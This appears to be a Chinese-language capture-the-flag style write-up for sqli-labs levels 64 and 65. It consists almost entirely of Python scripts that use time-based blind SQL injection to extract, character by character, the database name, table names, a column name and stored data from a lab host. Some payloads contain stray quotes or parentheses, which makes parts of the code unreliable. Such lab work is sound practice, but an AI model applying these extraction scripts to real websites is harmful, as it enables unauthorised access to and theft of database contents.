sqli-labs(12)

64.

通过测试发现是))

脚本

def database():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1)) and if(substr(database(),{len (database_name) + 1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-64?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                database_name += char
                print(f"数据库名称为：{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为：",datas)



def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1)) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{datas}' ),{len(table_name) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-64?id={payload}"

            start_time = time.time()
            
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                table_name += char
                print(f"表名称为：{table_name}")
                break
        else: 
            break
    return table_name
tbales = tablename()
print("最终表名称为：",tbales)

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
    while True:
        for char in charset:
            payload = f"1)) and if(substr((select column_name from information_schema.columns where table_schema='{datas}'' and table_name='{tbales}' limit 2,1),{len(column_name ) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-64?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                column_name += char
                print(f"列名称为：{column_name}")
                break
        else:
            break
    return column_name
columns = columnname()
print("最终列名称为：",columns)


def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1)) and if(substr((select {columns} from {datas}.{tbales} limit 0,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-64?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()
            
            rsp_time = end_time - start_time
            if rsp_time >= 2:
                data += char
                print(f"数据为：{data}")
                break   
        else:
            break
    return data
datas = data()
print("最终数据为：",datas)

65.

通过测试发现是")

脚本

def database():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f'1") and if(substr(database(),{len (database_name) + 1},1)="{char}",sleep(2),0) --+'
            url = f"http://192.168.1.200:86/Less-65?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                database_name += char
                print(f"数据库名称为：{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为：",datas)



def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f'1") and if(substr((select group_concat(table_name) from information_schema.tables where table_schema="{datas}" ),{len(table_name) +1},1)="{char}",sleep(2),0) --+)'
            url = f"http://192.168.1.200:86/Less-65?id={payload}"

            start_time = time.time()
            
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                table_name += char
                print(f"表名称为：{table_name}")
                break
        else: 
            break
    return table_name
tbales = tablename()
print("最终表名称为：",tbales)

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
    while True:
        for char in charset:
            payload = f'1") and if(substr((select column_name from information_schema.columns where table_schema="{datas}" and table_name="{tbales}" limit 2,1),{len(column_name ) +1},1)="{char}",sleep(2),0) --+)'
            url = f"http://192.168.1.200:86/Less-65?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                column_name += char
                print(f"列名称为：{column_name}")
                break
        else:
            break
    return column_name
columns = columnname()
print("最终列名称为：",columns)


def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f'1") and if(substr((select {columns} from {datas}.{tbales} limit 0,1),{len(data) +1},1)="{char}",sleep(2),0) --+'
            url = f"http://192.168.1.200:86/Less-65?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()
            
            rsp_time = end_time - start_time
            if rsp_time >= 2:
                data += char
                print(f"数据为：{data}")
                break   
        else:
            break
    return data
datas = data()
print("最终数据为：",datas)